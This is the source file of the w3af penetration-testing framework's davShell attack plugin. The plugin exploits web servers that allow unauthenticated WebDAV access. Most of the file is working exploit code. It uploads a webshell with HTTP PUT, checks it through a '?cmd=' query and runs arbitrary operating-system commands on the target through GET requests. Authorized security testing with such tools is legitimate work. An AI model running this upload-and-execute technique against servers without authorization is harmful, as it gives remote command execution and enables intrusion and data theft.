/usr/share/w3af/plugins/attack/davShell.py is in w3af-console 1.1svn5547-1.1.
This file is owned by root:root, with mode 0o644.
The actual contents of the file can be viewed below.
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davShell.py
Copyright 2006 Andres Riancho
This file is part of w3af, w3af.sourceforge.net .
w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.
w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
'''
from core.data.fuzzer.fuzzer import createRandAlpha
import core.controllers.outputManager as om
# options
from core.data.options.option import option
from core.data.options.optionList import optionList
from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin
import core.data.kb.knowledgeBase as kb
import core.data.kb.vuln as vuln
from core.data.kb.exec_shell import exec_shell as exec_shell
from core.data.parsers.urlParser import url_object
from core.controllers.w3afException import w3afException
import plugins.attack.payloads.shell_handler as shell_handler
import urllib
class davShell(baseAttackPlugin):
'''
Exploit web servers that have unauthenticated DAV access.
@author: Andres Riancho ( andres.riancho@gmail.com )
'''
def __init__(self):
baseAttackPlugin.__init__(self)
# Internal variables
self._exploit_url = None
# User configured variables
self._url = ''
self._generateOnlyOne = True
def fastExploit( self ):
'''
Exploits a web app with unauthenticated dav access.
'''
if self._url == '':
om.out.error('You have to configure the "url" parameter.')
else:
v = vuln.vuln()
v.setPluginName(self.getName())
v.setURL( self._url )
kb.kb.append( 'dav', 'dav', v )
def getAttackType(self):
'''
@return: The type of exploit, SHELL, PROXY, etc.
'''
return 'shell'
def getVulnName2Exploit( self ):
'''
This method should return the vulnerability name (as saved in the kb) to exploit.
For example, if the audit.osCommanding plugin finds an vuln, and saves it as:
kb.kb.append( 'osCommanding' , 'osCommanding', vuln )
Then the exploit plugin that exploits osCommanding ( attack.osCommandingShell ) should
return 'osCommanding' in this method.
'''
return 'dav'
def _generateShell( self, vuln_obj ):
'''
@parameter vuln_obj: The vuln to exploit.
@return: The shell object based on the vulnerability that was passed as a parameter.
'''
# Check if we really can execute commands on the remote server
if self._verifyVuln( vuln_obj ):
# Create the shell object
shell_obj = davShellObj( vuln_obj )
shell_obj.setUrlOpener( self._uri_opener )
shell_obj.setExploitURL( self._exploit_url )
return shell_obj
else:
return None
def _verifyVuln( self, vuln_obj ):
'''
This command verifies a vuln. This is really hard work! :P
@return : True if vuln can be exploited.
'''
# Create the shell
filename = createRandAlpha( 7 )
extension = vuln_obj.getURL().getExtension()
# I get a list of tuples with file_content and extension to use
shell_list = shell_handler.get_webshells( extension )
for file_content, real_extension in shell_list:
if extension == '':
extension = real_extension
om.out.debug('Uploading shell with extension: "'+extension+'".' )
# Upload the shell
url_to_upload = vuln_obj.getURL().urlJoin( filename + '.' + extension )
om.out.debug('Uploading file: ' + url_to_upload )
self._uri_opener.PUT( url_to_upload, data=file_content )
# Verify if I can execute commands
# All w3af shells, when invoked with a blank command, return a
# specific value in the response:
# shell_handler.SHELL_IDENTIFIER
exploit_url = url_object( url_to_upload + '?cmd=' )
response = self._uri_opener.GET( exploit_url )
if shell_handler.SHELL_IDENTIFIER in response.getBody():
msg = 'The uploaded shell returned the SHELL_IDENTIFIER: "'
msg += shell_handler.SHELL_IDENTIFIER + '".'
om.out.debug( msg )
self._exploit_url = exploit_url
return True
else:
msg = 'The uploaded shell with extension: "' + extension
msg += '" DIDN\'T returned what we expected, it returned: ' + response.getBody()
om.out.debug( msg )
extension = ''
def getOptions( self ):
'''
@return: A list of option objects for this plugin.
'''
d1 = 'URL to exploit with fastExploit()'
o1 = option('url', self._url, d1, 'url')
d2 = 'Exploit only one vulnerability.'
o2 = option('generateOnlyOne', self._generateOnlyOne, d2, 'boolean')
ol = optionList()
ol.add(o1)
ol.add(o2)
return ol
def setOptions( self, optionsMap ):
'''
This method sets all the options that are configured using the user interface
generated by the framework using the result of getOptions().
@parameter optionsMap: A dictionary with the options for the plugin.
@return: No value is returned.
'''
self._url = optionsMap['url'].getValue()
self._generateOnlyOne = optionsMap['generateOnlyOne'].getValue()
def getRootProbability( self ):
'''
@return: This method returns the probability of getting a root shell using this attack plugin.
This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones.
This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS
return a root shell.
'''
return 0.8
def getLongDesc( self ):
'''
@return: A DETAILED description of the plugin functions and features.
'''
return '''
This plugin exploits webDAV misconfigurations and returns a shell. It's rather simple, using the dav method
"PUT" the plugin uploads the corresponding webshell ( php, asp, etc. ) verifies that the shell is working, and if
everything is working as expected the user can start typing commands.
One configurable parameter exists:
- URL (only used in fastExploit)
'''
class davShellObj(exec_shell):
def setExploitURL( self, eu ):
self._exploit_url = eu
def getExploitURL( self ):
return self._exploit_url
def execute( self, command ):
'''
This method executes a command in the remote operating system by
exploiting the vulnerability.
@parameter command: The command to handle ( ie. "ls", "whoami", etc ).
@return: The result of the command.
'''
to_send = self.getExploitURL() + urllib.quote_plus( command )
to_send = url_object( to_send )
response = self._uri_opener.GET( to_send )
return response.getBody()
def end( self ):
om.out.debug('davShellObj is going to delete the webshell that was uploaded before.')
url_to_del = self._exploit_url.uri2url()
try:
self._uri_opener.DELETE( url_to_del )
except w3afException, e:
om.out.error('davShellObj cleanup failed with exception: ' + str(e) )
else:
om.out.debug('davShellObj cleanup complete.')
def getName( self ):
return 'davShell'
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